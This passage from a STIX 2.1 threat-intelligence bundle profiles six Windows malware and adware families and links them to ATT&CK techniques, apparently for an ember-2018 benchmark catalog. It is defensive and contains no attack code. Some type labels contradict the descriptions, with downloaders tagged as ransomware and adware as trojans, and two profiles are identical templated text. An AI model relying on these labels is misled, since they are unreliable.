      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06be9896-fbf4-5402-8437-caf489090b5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9ee7ec3-96bb-5999-8f2f-8ab56f40b495",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offergenerator exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42c05942-8eef-5b56-b7cc-b11a84507240",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9ee7ec3-96bb-5999-8f2f-8ab56f40b495",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offergenerator exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c23cee2-4212-53de-9811-884673d0ed03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9ee7ec3-96bb-5999-8f2f-8ab56f40b495",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offergenerator exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78e5011f-da1f-5a51-a711-6582dab4806d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9ee7ec3-96bb-5999-8f2f-8ab56f40b495",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offergenerator exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97bd3fc0-d0fe-5795-92ed-ca5f10c22c06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Offerinstall",
      "description": "Adware:Win32/Offerinstall (often detected as PUA:Win32/Offerinstall) is a pervasive commercial **software bundling framework and adware injection platform**. It is designed to take legitimate freeware and 'wrap' it in a deceptive installer that uses 'Dark Patterns' to trick users into installing multiple aggressive adware payloads, browser hijackers, and potentially unwanted programs (PUAs) alongside the desired software.<br><br><b>Understanding Offerinstall and PPI Networks</b><br>To an end-user, Offerinstall appears as a standard software setup wizard (often presenting 'Special Offers'). For an enterprise, it represents a significant risk of 'alert fatigue' for the SOC and a major source of Help Desk tickets due to severely degraded browser performance. The developers of the wrapper operate on a Pay-Per-Install (PPI) model, receiving financial compensation from adware vendors for every successful installation of the bundled junkware on a victim's machine.<br><br><b>Execution and Deceptive Installation Mechanics</b><br>Offerinstall is almost exclusively encountered when users download software from untrustworthy, third-party software aggregators rather than official vendor sites (`T1204.002`). Upon execution, the wrapper initiates (`T1189`). It employs Dark Patterns, such as pre-checked 'Accept' boxes buried deep in the End User License Agreement (EULA), or confusingly worded 'Decline' buttons that actually accept the offer (`T1036`). The secondary payloads then establish persistence (often via Scheduled Tasks or Registry Run keys) (`T1547.001`) and begin injecting ads into web browsers or hijacking the default search engine (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, unauthorized tracking of browsing habits, and potential exposure to more severe malware via injected malicious ads. IoCs include EDR alerts for a single downloaded executable (e.g., `setup.exe`) spawning multiple child installers (`msiexec.exe`) for unrelated software. The user will often report a suddenly changed browser homepage, new toolbars, or excessive pop-up advertisements. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Offerinstall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/offerinstall"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--911cef6d-8214-5c0f-8529-16a8a7a6d51e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97bd3fc0-d0fe-5795-92ed-ca5f10c22c06",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offerinstall exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09956be7-c5a1-53e5-b13f-f45f966c86d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97bd3fc0-d0fe-5795-92ed-ca5f10c22c06",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offerinstall exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cad5d6b-6358-57cb-8380-84e77352d188",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97bd3fc0-d0fe-5795-92ed-ca5f10c22c06",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offerinstall exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d773c1f6-d4a2-5251-97a4-ff24864c0240",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97bd3fc0-d0fe-5795-92ed-ca5f10c22c06",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offerinstall exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1a748d92-9bc5-52d4-85a5-7b972bfe8d00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Offtoup",
      "description": "Trojan:Win32/Offtoup is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Offtoup</b><br>To an end-user, a Offtoup infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Offtoup is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Offtoup is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Offtoup frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Offtoup reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Offtoup",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/offtoup"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7a9740d-49f9-50c6-9d8b-bd210970f61a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a748d92-9bc5-52d4-85a5-7b972bfe8d00",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offtoup exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a84bcadc-9974-56cb-800c-5eacd54134db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a748d92-9bc5-52d4-85a5-7b972bfe8d00",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offtoup exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb259be6-9c30-5fbd-8258-ca506ad18cae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a748d92-9bc5-52d4-85a5-7b972bfe8d00",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offtoup exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9e004c1-c88a-5bb0-9675-c3059bccb93d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a748d92-9bc5-52d4-85a5-7b972bfe8d00",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offtoup exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0971e1c6-8db3-5fd9-83d8-abc5c361ac90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a748d92-9bc5-52d4-85a5-7b972bfe8d00",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Offtoup exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--676c0822-2d24-5935-81ad-db0f5f841b38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oficla",
      "description": "Trojan:Win32/Oficla (also widely known as Sasfis) is a historically massive botnet and trojan downloader that peaked in activity between 2010 and 2012. Its primary function was to compromise endpoints and turn them into 'zombies' within the Oficla botnet. These zombies were then rented out to other cybercriminals to silently download and execute secondary payloads (`T1105`), most notoriously Fake Antivirus (Rogue software), spam bots (like Rustock), and banking trojans (like Zeus).<br><br><b>Understanding Oficla (Sasfis Botnet Operations)</b><br>To an end-user, an Oficla infection was usually silent, noticeable only when the secondary payload (like a screaming Fake AV pop-up) executed. For a security operations center (SOC), Oficla represents a critical breach. If Oficla is detected, the system must be considered fully compromised by multiple, unknown threat actors, as the botnet operators frequently sold access to the same machine to multiple buyers.<br><br><b>Execution and C2 Mechanics</b><br>Oficla was primarily distributed via massive spam campaigns (`T1566.001`), often disguised as fake delivery invoices (FedEx, UPS) containing malicious executables inside ZIP files, or via exploit kits on compromised websites. Upon execution, it injects its code into `explorer.exe` or `svchost.exe` (`T1055`) to hide its activity and establishes persistence via the Registry Run keys. It communicates with its C2 servers using HTTP POST requests, often employing a fast-flux DNS network to hide the true location of the servers. The C2 server responds with encrypted URLs pointing to the secondary payloads the bot must download and execute.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the deployment of severe secondary malware and incorporation into a criminal botnet. Host-based IoCs include EDR alerts for process injection (particularly into `explorer.exe`) and the rapid, silent downloading and execution of unknown binaries into the `%Temp%` directory. Network IoCs include a distinctive 'beaconing' pattern of HTTP POST requests containing encrypted system profiling data sent to rapidly changing, algorithmically generated domains (DGAs). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oficla",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oficla"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1660689-0590-5bfc-a53b-84eded174f2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--676c0822-2d24-5935-81ad-db0f5f841b38",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oficla exhibits technique T1105 (Ingress Tool Transfer (The primary function: downloading other malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39ea0997-69ce-5777-9bea-b1b6e876cb10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--676c0822-2d24-5935-81ad-db0f5f841b38",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oficla exhibits technique T1055 (Process Injection (Hiding within explorer.exe or svchost.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb81d0b6-cf73-5d7f-9143-4fd56d1bc5e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--676c0822-2d24-5935-81ad-db0f5f841b38",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oficla exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution method))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4867ce38-db75-5248-9142-efdc01a6a799",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--676c0822-2d24-5935-81ad-db0f5f841b38",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oficla exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b5ab65e3-188e-5db8-aa3c-3e81ed9afb15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oflwr",
      "description": "<h3>Executive Summary</h3>\nOflwr is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOflwr is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Oflwr operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Oflwr ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Oflwr receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Oflwr infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Oflwr executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Oflwr frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Oflwr",
        "Downloader.Oflwr",
        "Win32/Oflwr"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oflwr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oflwr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24024f37-2796-5c04-9573-8a3c4593577a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5ab65e3-188e-5db8-aa3c-3e81ed9afb15",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oflwr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2d8fdc0-cabb-5e5e-867d-658843431964",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5ab65e3-188e-5db8-aa3c-3e81ed9afb15",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oflwr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17f1289c-aa0a-56d9-b555-a4df0d1ae12a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5ab65e3-188e-5db8-aa3c-3e81ed9afb15",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oflwr exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d183b14f-d3f1-558d-8a42-a01137978f41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ohmytabs",
      "description": "Adware:Win32/Ohmytabs is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Ohmytabs</b><br>To an end-user, Ohmytabs manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Ohmytabs is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ohmytabs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ohmytabs"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92005889-5e74-506b-bb1e-3d770fc8f3c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d183b14f-d3f1-558d-8a42-a01137978f41",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ohmytabs exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f755d790-0cf0-5ae2-a635-b6aebf3ffdc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d183b14f-d3f1-558d-8a42-a01137978f41",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ohmytabs exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98786b81-3e7f-5375-9955-9a38fdaa45a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d183b14f-d3f1-558d-8a42-a01137978f41",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ohmytabs exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36f05d2e-caa9-5fad-8084-52b780f5e99d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d183b14f-d3f1-558d-8a42-a01137978f41",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ohmytabs exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--81fb9c17-b72a-56b4-a92b-aa1d89c71ed5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Olala",
      "description": "Trojan:Win32/Olala is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Olala</b><br>To an end-user, a Olala infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Olala is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Olala is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Olala frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Olala reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Olala",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/olala"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa438dc6-ecd2-523e-9272-e752196a3ab8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81fb9c17-b72a-56b4-a92b-aa1d89c71ed5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olala exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01f873b1-88d3-574e-b49f-6e60673fa856",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81fb9c17-b72a-56b4-a92b-aa1d89c71ed5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olala exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4dd9c76-a591-5374-92ac-5ce37a3cdd9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81fb9c17-b72a-56b4-a92b-aa1d89c71ed5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olala exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c10a9f98-7b27-5118-9f26-6cd7fbd113cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--81fb9c17-b72a-56b4-a92b-aa1d89c71ed5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Olala exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
